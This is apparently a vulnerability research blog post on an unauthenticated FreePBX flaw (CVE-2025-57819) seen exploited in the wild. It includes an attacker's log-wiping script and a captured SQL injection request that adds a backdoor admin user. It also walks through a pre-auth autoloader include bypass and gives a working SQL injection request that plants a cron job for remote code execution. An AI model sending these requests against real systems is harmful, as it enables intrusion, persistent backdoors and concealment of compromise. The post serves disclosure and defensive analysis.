We’re back - it’s a day, in a month, in a year - and once again, something has happened.
In this week’s episode of “the Internet is made of string and there is literally no evidence to suggest otherwise”, we present even further evidence that as a species we made a fairly painful mistake when we discovered electricity - and it just got worse and worse.
Today, inside this hellscape we call the Internet, a mean person has discovered a zero-day(s) in FreePBX (now lovingly called CVE-2025-57819). But they didn’t stop there - the dastardly individual(s) then proceeded to exploit FreePBX hosts en-masse.
As these stories sometimes play out, the ruse was rumbled when pesky sysadmins started posting to the FreePBX Community Forums, complaining of broken installs and other nonsense.
You decided to use FreePBX instead of Microsoft Teams, and now you have to live with the consequences.
Is This A FreePBX?
FreePBX is an open-source, web-based GUI that manages and controls the Asterisk VoIP phone system. Most of the code is wide open - you can spin up an appliance with a bash script or ISO and browse the PHP to your heart’s content. Some commercial add-on modules, though, are locked up behind ionCube Loader.
FreePBX isn’t just a toy project either - it’s used by everyone from home lab hobbyists to MSPs to full-blown enterprises.
As we’ve seen continuously - attackers love tapping communications. Earlier in 2025, the industry was overwhelmed with news about Salt Typhoon compromising telcos and lawful-interrcept systems at scale to intercept calls.
A compromise of FreePBX represents the same - access to phone calls, voicemails, recordings… (and the benefit of access to a privileged and likely trusted host in an interesting environment).
The Timeline Of Panic - It Begins
As always in life, everything interesting is ruined by someone asking questions.
On the 25th August 2025, someone did exactly that. The cheek!
Once we traversed their whining, the user did share some interesting information - they were seeing the following error when trying to access their FreePBX instance:
PHP Fatal error: Uncaught Error: Class “Symfony\\Component\\Console\\Application” not found in /var/www/html/admin/libraries/FWApplication.class.php:11 Stack trace: #0 /var/lib/asterisk/bin/fwconsole(66): include() #1 {main} thrown in /var/www/html/admin/libraries/FWApplication.class.php on line 1
While there is probably a joke here about this being what you might expect from a PHP application, things became interesting as other users began to chime in that they were also observing the same error on their appliance.
The Timeline Of Panic - It Gets Worse
A further turn was taken when, a day later (August 26, 2025) a user shared the contents of .clean.sh , a new file that had appeared on their phone call box that contained the following contents:
# cat .clean.sh #!/bin/bash LOGS=( "/var/log/asterisk/fail2ban" "/var/log/asterisk/freepbx_security.log" "/var/log/secure" "/var/log/httpd/error_log*" "/var/log/vsftpd.log" "/var/log/httpd/access_log*" "/var/log/apache2/access.log*" "/var/log/apache2/error.log*" "/var/log/openvpn.log" "/var/log/*" ) for log in "${LOGS[@]}"; do find "$(dirname "$log")" -name "$(basename "$log")" -type f 2>/dev/null | while read -r file; do echo "Processing file: $file" sed -i --follow-symlinks -e '/$SERVICE_NAME/d' -e '/\\.cache/d' -e '/\\modular\\.php/d' -e '/\\monitor\\.php/d' -e '/\\backend\\.php/d' "$file" done done rm $0
To quote an enlightened poster:
I think we have a serious issue …
That’s right, you do appear to have a serious issue, friend!
.clean.sh is pretty clearly a bash cleanup script designed to wipe evidence after backdoor access. It walks a bunch of log locations and scrubs references to common web shell paths and service names, then deletes itself. In other words, classic post-exploitation TTPs aimed at log tampering to hide web shell activity.
And it turns out this wasn’t a one-off. The same .clean.sh script - along with assorted web shells - had been popping up across FreePBX installs, with evidence of activity going back to August 21, 2025.
The Timeline Of Panic - It Gets Worserer
The takeaway from that community thread was clear - something nasty was brewing in the FreePBX world, almost certainly an unknown Remote Code Execution vulnerability.
Editors note: Or, perhaps, just more intended functionality? ;-)
What we’ve omitted to mention until this point is that we (watchTowr) have a little bit of experience working with FreePBX on security issues.
We reported a Post-Authenticated Command Injection vulnerability (CVE-2025-55211) to FreePBX in May 2025. Despite cruising past our 90-day disclosure window, it still hasn't been published.
The response we received? Well….
Your friendly informational post-auth RCE vulnerability - give us strength…..
Imagine our surprise when we saw panic quickly give way to action, with the FreePBX development team posting updates.
Their advice? Lock down access to the admin panel with IP whitelisting or firewall rules, and apply an out-of-band patch to one of the modules.
Additionally, there is now EDGE module fix for testing – please note that this has not gone through full normal QA, but we will be doing so ASAP and including as part of normal security release. FreePBX users on v16 or v17 can run: $ fwconsole ma downloadinstall endpoint --edge PBXAct v16 users can run: $ fwconsole ma downloadinstall endpoint --tag 16.0.88.19 PBXAct v17 users can run: $ fwconsole ma downloadinstall endpoint --tag 17.0.2.31
And associated vulnerability summary and description - giving us new clues. What is this Endpoint module and why must we once again be forced to reverse engineer cryptic clues about intended functionality?
Vulnerability Summary
Insufficiently sanitized user-supplied data allows unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution.
Starting on or before August 21st, 2025, an unauthorized user began accessing multiple FreePBX version 16 and 17 systems that were connected directly to the public internet -- systems with inadequate IP filtering/ACLs -- by exploiting a validation/sanitization error in the processing of user-supplied input to the commercial "endpoint" module. This initial entry point was then chained with several other steps to ultimately gain potentially root level access on the target systems.
What Is The Endpoint Module?
Before we continue, let’s provide some very brief context on this Endpoint module for FreePBX. It is important to note that it is a commercial add-on.
The Endpoint Manager module in FreePBX is a commercial add-on that simplifies provisioning and managing VoIP phones. It provides a centralized interface where administrators can configure templates, assign extensions, and push settings directly to supported devices without needing to manually edit configuration files or log into each phone.
The module supports a wide range of vendors, allows for bulk updates, and integrates with FreePBX’s extension management to streamline deployments and maintenance of SIP endpoints across an organization.
Time For Action
Getting bored of curating the most perfectest memes, we decided to once again rapidly dive in with our two-pronged approach:
Deploy, into Attacker Eye (our global sensor network), a fully-monitored (disk/memory/network) FreePBX sensor Begin reverse engineering code changes
We Swear, It Fell Off A Truck
A quick patched vs unpatched comparison made one thing obvious: everything that changed lives inside the Endpoint module.
But, as always, we first need to understand how FreePBX actually functions given purposeful .htaccess rules blocking direct access to the majority of files:
# Disallow all . files, such as .htaccess or .git Require all denied # Allow index, config, and ajax.php, as well as all our image types. Require all granted
Using this .htaccess rules above, we now know the FreePBX PHP endpoints within the main directory /admin/ that can be reached are:
/admin/ajax.php
/admin/config.php
They’re not exactly single-file scripts, and the call stacks go deep, so instead of making our lives difficult we decided to do what we do best - click around the UI to see how they behave in practice, hoping to really understand how FreePBX routes requests to modules.
Numerous requests appeared, primarily following the patterns listed below:
GET /admin/ajax.php?module=sms&command=getJSON&jdata=grid&search= HTTP/1.1
GET /admin/config.php?display=sms
We poked at /admin/ajax.php to see if it was reachable without a session. Short answer: no.
For example, sending this request with no valid cookies…
GET /admin/ajax.php?module=endpoint&command=watchTowr HTTP/1.1 Host: {{Hostname}} Referer: http://{{Hostname}}/admin/config.php
Swiftly, an HTTP 401 response hits us in the face.
HTTP/1.1 401 Unauthorized Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control, X-Auth-Token Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: $url Access-Control-Max-Age: 86400 Allow: GET Content-Length: 29 Content-Type: application/json {"error":"Not Authenticated"}
This is due to a code block in admin/libraries/BMO/Ajax.class.php which checks for the presence of a valid session:
// Check authentication if set to if ($this->settings['authenticate']) { if (!isset($_SESSION['AMP_user'])) { $this->ajaxError(401, 'Not Authenticated'); } else { if (!defined('FREEPBX_IS_AUTH')) { define('FREEPBX_IS_AUTH', 'TRUE'); } } }
However, the code block just before caught our eye - if a request comes from localhost then authentication is disregarded as some sort of meaningless annoyance:
// If the request has come from this machine then no need to authenticate. $request_from_ip = $_SERVER['REMOTE_ADDR']; if (($request_from_ip == '127.0.0.1') || ($request_from_ip == '::1')) { $this->settings['authenticate'] = false; }
Taking this as a sign, we followed a hunch and burnt through a lot of time hunting for an SSRF that would allow us to control/send requests from localhost - but no, we are not that lucky.
We just wanted to access more intended functionality!
A Different Approach!
With the pre-auth angle looking like a dead end, we flipped the problem around – could we at least poke the module once authenticated?
Even with the code obfuscated, grepping for references to the Endpoint module gave us enough to craft a request. Each time we attempted to probe the module, FreePBX would whine and complain about missing modules - so, doing as we were told, we could just append parameters and provide nonsense values as we went along:
GET /admin/ajax.php?command=model&module=endpoint&template=watchTowr1&brand=watchTowr2&model=watchTowr3 HTTP/1.1 Host: {{Hostname}} Referer: http://{{Hostname}}/admin/config.php Cookie: PHPSESSID=td3cogljn6ka24glielo37s0uv
Following the clues of the vulnerability summary, we jut threw a few random ' into parameters to see what would happen.
GET /admin/ajax.php?command=model&module=endpoint&template=watchTowr1&brand=watchTowr2'&model=watchTowr3 HTTP/1.1 Host: {{Hostname}} Referer: http://{{Hostname}}/admin/config.php Cookie: PHPSESSID=td3cogljn6ka24glielo37s0uv
HTTP/1.1 500 Internal Server Error Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Connection: close Content-Type: application/json Content-Length: 400 {"error":{"type":"Exception","message":"SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'watchTowr1' AND (`key` LIKE 'watchTowr3%' OR `key` LIKE 'EXP%' )' at line 1::","code":0,"file":"\\/var\\/www\\/html\\/admin\\/libraries\\/utility.functions.php","line":123}}
Editors note: As FreePBX have told us and thus following the same train of thought, this is intended functionality and at best informational.
Sifting For Gold
Briefly perusing logs from our Attacker Eye FreePBX sensor, and filtering out the absolute junk created by AI-generated emoji-drenched ‘PoCs’, we found something interesting:
POST /admin/ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Accept-Language: en-US,en;q=0.5 Referer: http://{{Hostname}}/admin/config.php Content-Length: 382 module=%5cFreePBX%5cmodules%5cEndpoint%5cajax&command=model&model=model&template=template&brand=brand'%3bINSERT%20INTO%20ampusers%20(username%2c%20email%2c%20extension%2c%20password_sha1%2c%20extension_low%2c%20extension_high%2c%20deptname%2c%20sections)%20VALUES%20('ampuser'%2c%20''%2c%20''%2c%20'censored'%2c%20''%2c%20''%2c%20''%2c%20'%3bcli')%3b
Carefully, we took that exact request, pointed it at our own lab instance, and – much to our amusement – a shiny new backdoor user named ampuser popped into existence, lining up perfectly with the IoCs FreePBX community members had already been reporting.
There it is, the whole exploit chain for installing a backdoor user, instead of our instance RCE.
This is a valid payload to exploit the SQL Injection exploitation, notably however without any authentication!
How does it work, though? Let’s find out.
Reaching Modules Pre-Auth
At this stage, we’ve got two critical puzzle pieces:
We know how to hit the post-auth SQL Injection in the FreePBX Endpoint module.
Our honeypot has captured a malicious request that somehow hits /admin/ajax.php without any authentication.
Sure, we could just glue those together and call it a day – instant exploit chain, done.
But that wouldn’t satisfy our curiosity. How on earth does an unauthenticated user manage to reach ajax.php in the first place?
To answer that, we need to rewind and look at the basics. What actually happens when you call:
GET /admin/ajax.php?module=somemodule&command=andcommand
Time to dig into /admin/ajax.php itself and see how requests are handled.
/** * BMO Ajax handler. * * Does not support older modules. */ if (!isset($_REQUEST['module'])) { $module = "framework"; } else { $module = $_REQUEST['module']; } if (isset($_REQUEST['command'])) { $command = $_REQUEST['command']; } else { $command = "unset"; } //... $bmo->Ajax->doRequest($module, $command); // [1]
At [1], the code takes our supplied module and command parameters and hands them off to libraries/BMO/Ajax.class.php , specifically into its doRequest method for processing.
public function doRequest($module = null, $command = null) { if (!$module || !$command) { throw new \\Exception("Module or Command were null. Check your code."); } if (class_exists(ucfirst($module)) && $module != "directory") { throw new \\Exception("The class $module already existed. Ajax MUST load it, for security reasons"); } // Is someone trying to be tricky with filenames? if (strpos($module, ".") !== false) { throw new \\Exception("Module requested invalid"); } // Is it the hardcoded Framework module? if ($module == "framework") { $file = $this->Config->get_conf_setting('AMPWEBROOT')."/admin/libraries/BMO/Framework.class.php"; $ucMod = "Framework"; } elseif ($module == "search") { // Ajax Search plugin $file = $this->Config->get_conf_setting('AMPWEBROOT')."/admin/libraries/BMO/Search.class.php"; $ucMod = "Search"; } else { $ucMod = ucfirst($module); $ucMod = str_replace("-","dash",$ucMod); $file = $this->Config->get_conf_setting('AMPWEBROOT')."/admin/modules/$module/$ucMod.class.php"; } // Note, that Self_Helper will throw an exception if the file doesn't exist, or if it does // exist but doesn't define the class. $this->injectClass($ucMod, $file); // [1] //... }
At [1], the doRequest method calls a helper named injectClass . This helper dives into reflection logic, attempting to resolve and load the correct class for the requested module.
This is where we went nuts, trying to understand the reflection implementation - as always though, it was much simpler than we expected.
The vulnerability sits right at the start of doRequest , in a deceptively simple check.
if (class_exists(ucfirst($module)) && $module != "directory")
This is… not great. The condition just drops the attacker-controlled module parameter straight into class_exists . But why does that matter?
At first glance, it seems harmless - just a class name lookup. But when we actually checked the PHP documentation, we realized something important: class_exists doesn’t just take a single argument. It accepts a second argument: autoload .
If autoload is true , PHP will happily try to automatically load whatever class name you feed it. Since the default is true , our attacker-controlled input into class_exists means PHP will go looking for a class file on disk.
But here’s the twist: we don’t actually care about loading a class. What we really want is for PHP to execute a static script like admin/modules/endpoint/ajax.php . That’s where FreePBX’s custom magic enters the scene.
Inside functions.inc.php - a helper file loaded early in execution - FreePBX registers its own autoloader:
spl_autoload_register('fpbx_framework_autoloader');
According to the official documentation, this function lets you register your own custom handlers for class autoloading. In practice, that means when class_exists is called, the attacker-supplied module parameter is handed straight over to the fpbx_framework_autoloader function.
//freepbx autoloader function fpbx_framework_autoloader($class) { if ($class === true) { // Deprecated - true USED to mean 'load all modules' return false; } // Handle guielements if (substr($class, 0, 3) == 'gui') { $class = 'component'; } // FreePBX Module autoloader if (stripos($class, 'FreePBX\\\\modules\\\\') === 0) { // [1] // Trim the front $req = substr($class, 16); // [2] // If there's ANOTHER slash in the request, we want to try to autoload // the file. $modarr = explode('\\\\', $req); // [3] if (!isset($modarr[1])) { // TODO: Add *real* module autoloader here in FreePBX 15, replacing the BMO __get() autoloader return; } // This is a basic implementation of PSR4 under ..admin/modules/modulename/.. so that // a request for \\FreePBX\\modules\\Ucp\\Widgets\\Ponies would look for a file // called ..admin/modules/ucp/Widgets/Ponies.php and then load it, if it exists. $moddir = \\FreePBX::Config()->get('AMPWEBROOT')."/admin/modules/".strtolower(array_shift($modarr))."/"; // [4] $filepath = $moddir.join("/", $modarr).".php"; // [5] if (file_exists($filepath)) { include $filepath; // [6] } // Always return here, as there's nothing left to try. return; } //... }
Let’s say we specify module as FreePBX\\modules\\endpoint\\install .
At [1] , the code checks if our module starts with FreePBX\\modules . If it does, we move into the interesting path.
, the code checks if our starts with . If it does, we move into the interesting path. At [2] , it strips away the FreePBX\\modules prefix, leaving just endpoint\\install .
, it strips away the prefix, leaving just . At [3] , the string is split into an array ( modarr ) using the backslash separator.
, the string is split into an array ( ) using the backslash separator. At [4] , it builds a path to the webroot and tacks on the first element of that array. In a default FreePBX setup, this gives /var/www/html/admin/modules/endpoint/ .
, it builds a path to the webroot and tacks on the first element of that array. In a default FreePBX setup, this gives . At [5] , it takes the last element from the array ( install ) and adds .php .
, it takes the last element from the array ( ) and adds . In our case, the filepath is now equal to:
/var/www/html/admin/modules/endpoint/install.php
Everything becomes clear at [6] , where our file… is just included.
This is it! The custom FreePBX class loader allows you to include any file ending with the .php extension from the admin/modules location!
Put simply: attackers can hit certain module files directly without needing to authenticate.
Additional note. You can only reach files ending with .php , like ajax.php . You are not able to include files with additional dots, like Endpoint.class.php . This is because an additional filtering exists and module parameter cannot contain a dot character.
So, let’s put it to the test. If we try to reach the install.php file from the Endpoint module pre-auth, we can send a request like this:
GET /admin/ajax.php?module=FreePBX\\modules\\Endpoint\\install&command=watchTowr HTTP/1.1 Host: freepbx.lab
And, as expected, we get an error - proving that we have reached our target code path:
HTTP/1.0 500 Internal Server Error ... {"error":{"type":"Whoops\\\\Exception\\\\ErrorException","message":"Cannot redeclare getdefaultaddress()","code":1,"file":"\\/var\\/www\\/html\\/admin\\/modules\\/endpoint\\/install.php","line":4280}}
Finally, we can just use this to exploit the SQL Injection that we saw in-the-wild:
GET /admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&model=model&template=template&brand=brand' HTTP/1.1 Host: freepbx.lab
And, again, as expected the response proving we can hit the vulnerable code:
HTTP/1.1 500 Internal Server Error ... {"error":{"type":"Exception","message":"SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'template' AND (`key` LIKE 'model%' OR `key` LIKE 'EXP%' )' at line 1::","code":0,"file":"\\/var\\/www\\/html\\/admin\\/libraries\\/utility.functions.php","line":123}}
And that’s the punchline. A couple of takeaways here:
The official patch focuses narrowly on fixing the SQL Injection in the Endpoint module.
But the bigger issue – this “authentication bypass” quirk that lets you include .php files pre-auth – sits in the core FreePBX code untouched.
files pre-auth – sits in the untouched. Which means even fully patched systems still expose a juicy attack surface: attackers can directly hit certain module .php files without logging in.
Not exactly the root-cause fix we’d hope for. More like a band-aid over a leaky pipe.
But maybe that’s what the FreePBX intended?
SQL Injection to Remote Code Execution
Listening to words of wisdom, we set out to turn this shiny SQL Injection into full-blown RCE. Honestly, it felt less like an epic boss battle and more like a side quest - “deliver this item to your friend across town.”
Check what the database user ( asterisk ) can actually do.
Could it upload files, run dangerous MySQL commands, or otherwise make our lives easy? Sadly no – some hardening had been applied, so privileges were limited.
Poke through the existing tables for something useful.
And that’s when we spotted it – a table that practically waved at us and whispered: “exploit me.”
Tables called cron_jobs always sound fun:
And honestly, it doesn’t get much simpler than this.
All we need to do is drop a new row into the cron_jobs table. We set the command field to whatever payload we want executed, and give schedule the good old * * * * * treatment so it runs every minute.
The final request ends up looking like this:
GET /admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+;INSERT+INTO+cron_jobs+(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)+VALUES+('sysadmin','watchTowr','id+>+/tmp/watchTowr',NULL,'*+*+*+*+*',30,1,1)+--+ HTTP/1.1 Host: freepbx.lab
After a while, we can see our command executed and the entire chain is completed.
Detection Artefact Generator
Today, we are publishing our Detection Artefact Generator which you can find here.
This DAG attempts to create a new row within the cron_jobs table, triggering the writing of a webshell:
If this fails, the DAG adds a new user:
Maybe this was all intended functionality?
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.